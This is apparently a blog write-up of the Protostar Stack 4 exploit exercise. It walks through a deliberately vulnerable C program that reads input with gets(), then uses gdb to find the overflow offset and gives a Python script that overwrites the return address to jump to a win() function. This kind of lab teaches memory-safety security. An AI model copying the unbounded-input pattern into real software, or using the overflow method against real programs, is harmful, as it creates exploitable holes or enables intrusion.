bigb0ss
May 9, 2020 · 5 min read · Member-only · Listen

[ExpDev] Exploit Exercise | Protostar | Stack 4

Stack 4

The goal of this challenge is to overwrite the stored EIP and do a standard BOF to redirect our code flow to eventually call the `win()` func which is outside of the `main()` func.

- Link: http://exploit-exercises.lains.space/protostar/stack4/

Source code

(stack4.c)

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

Things to note

- `win()`: Winning func. Once we overflow the buffer via `gets()`, we can print out the winning statement by pointing to the `win()` address on the stack.
- `gets(buffer);`: The vulnerable func. It reads a line from stdin but it doesn't check for buffer overrun → which can be vulnerable to BOF type of attacks.
- `char buffer[64];`: This limits our buffer length as 64 bytes. → which we can enter more than 64 bytes to cause a BOF.

Initial Recon

Since we know that the `gets()` func will cause a BOF, let's open up the `stack4` binary with gdb and enter enough characters to crash the program.

```
$ gdb -q stack4
(gdb) set disassembly-flavor intel
(gdb) run
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA    <-- Not enough characters

Program exited normally.
(gdb) run
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA    <-- Enough characters

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

What is happening here? So we supplied too many characters which overflowed address after the `ret` (return) address of the `main()` func. That is why the program is now Segmentation fault because obviously the "0×41414141" is an invalid address in memory. So when it tried to return to that address, it couldn't find that address in memory and complained.

Let me explain this a bit more clearly. Disassemble the `main()` with gdb. It's simple that once it gets the user-supplied input, then it calls out the `leave` and finally `ret`.

```
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>  Gets user input
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret  Return address
End of assembler dump.
```

So in normal execution,

```
### Breakpoint at the ret address

(gdb) break * 0x0804841e
  Breakpoint 2 at 0x804841e: file stack4/stack4.c, line 16.
(gdb) run
  Starting program: /opt/protostar/bin/stack4
  AAAA                              # Supplying "AAAA" for our input

  Breakpoint 2, 0x0804841e in main (argc=134513672, argv=0x1) at
  stack4/stack4.c:16

### When it hits the breakpoint, let's examine the registers

(gdb) info registers
  eax            0xbffff700 -1073744128
  ecx            0xbffff700 -1073744128
  edx            0xb7fd9334 -1208118476
  ebx            0xb7fd7ff4 -1208123404
  esp            0xbffff74c 0xbffff74c
  ebp            0xbffff7c8 0xbffff7c8
  esi            0x0 0
  edi            0x0 0
  eip            0x804841e 0x804841e <main+22>
  eflags          0x200246 [ PF ZF IF ID ]

### Examine the next stack pointers. After EIP, it goes to the address
of "__libc_start_main"

(gdb) x/5wx $esp    <-- Examine next 5 words in HEX
  0xbffff74c: 0xb7eadc76 0x00000001 0xbffff7f4 0xbffff7fc
  0xbffff75c: 0xb7fe1848
(gdb) x 0xb7eadc76    <-- Examine the following address
  0xb7eadc76 <__libc_start_main+230>:  "\211\004$\350B\204\001"

### When we do a couple of more single step forwards, we can clearly
see that the program calls for the "exit.c" to terminate the execution

(gdb) si
  __libc_start_main (main=0x8048408 <main>, argc=1,
  ubp_av=0xbffff7f4,
  init=0x8048430 <__libc_csu_init>, fini=0x8048420 <__libc_csu_fini>,
  rtld_fini=0xb7ff1040 <_dl_fini>, stack_end=0xbffff7ec) at libc-
  start.c:260
  260 libc-start.c: No such file or directory.
  in libc-start.c
(gdb) si
  0xb7eadc79 260 in libc-start.c
(gdb) si
  *__GI_exit (status=-1073744128) at exit.c:100     <-- exit.c
  100 exit.c: No such file or directory.
  in exit.c
```

So for the exploit, it's clear that since we know that we can control the EIP after the `ret` address, we can modify that to point to the `win()` address instead of exiting the program.

Exploit

Finding Offset

Let's create a python script to find the offset value where we can control EIP:

```
#!/usr/bin/python

padding = "A" * 70
padding+= "BBBBCCCCDDDDEEEEFFFFGGGG"

print padding
```

Then, create an output of the exploit into a file so that we can run it with gdb.

```
$ python exp.py > /tmp/stack4/exploit
```

Now, run the gdb and supply the exploit file.

```
$ gdb -q stack4
  Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
  Dump of assembler code for function main:
  0x08048408 <main+0>: push   ebp
  0x08048409 <main+1>: mov    ebp,esp
  0x0804840b <main+3>: and    esp,0xfffffff0
  0x0804840e <main+6>: sub    esp,0x50
  0x08048411 <main+9>: lea    eax,[esp+0x10]
  0x08048415 <main+13>: mov    DWORD PTR [esp],eax
  0x08048418 <main+16>: call   0x804830c <gets@plt>
  0x0804841d <main+21>: leave
  0x0804841e <main+22>: ret
  End of assembler dump.
(gdb) break * 0x0804841e              # Setting breakpoint at ret
  Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.
(gdb) run < /tmp/stack4/exploit       # Running the exploit
  Starting program: /opt/protostar/bin/stack4 < /tmp/stack4/exploit
  Breakpoint 1, 0x0804841e in main
(gdb) info registers
  esp            0xbffff74c 0xbffff74c
  ebp            0x43434242 0x43434242
  esi            0x0 0
  edi            0x0 0
  eip            0x804841e 0x804841e <main+22>       # Stop at ret

(gdb) x/1wx $esp
  0xbffff74c: 0x44444343                      # Address next to ret
(gdb) continue
  Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44444343 in ?? ()
```

"0×43" and "0×44" are each "C" and "D" in ASCII representations. Therefore the offset is 76 (= 70 + "BBBBCC").

Finding win() Address

It can be done by using gdb or objdump.

```
[GDB]
$ gdb -q stack4
(gdb) x win
  0x80483f4 <win>: 0x83e58955

[objdump]
$ objdump -t stack4 |grep win
  080483f4 g     F .text 00000014              win
```

Final Exploit

We have everything we need: offset value (=76) + address location for `win()` (=0×00483f4).

```
[Exploit]

#!/usr/bin/python

# offset = 76
# win = 0x80483f4

padding = "A" * 76
padding+= "\xF4\x83\x04\x08"              # Little-endian Format

print padding
```

When we run this against `stack4`, we can successfully print out the winning statement.

```
user@protostar:/opt/protostar/bin$ python /tmp/stack4/exp.py | ./stack4
code flow successfully changed
Segmentation fault
```

Thanks for reading!

Next challenge:

- Stack 5 — Stack-based BOF: Gaining the first shell using shellcode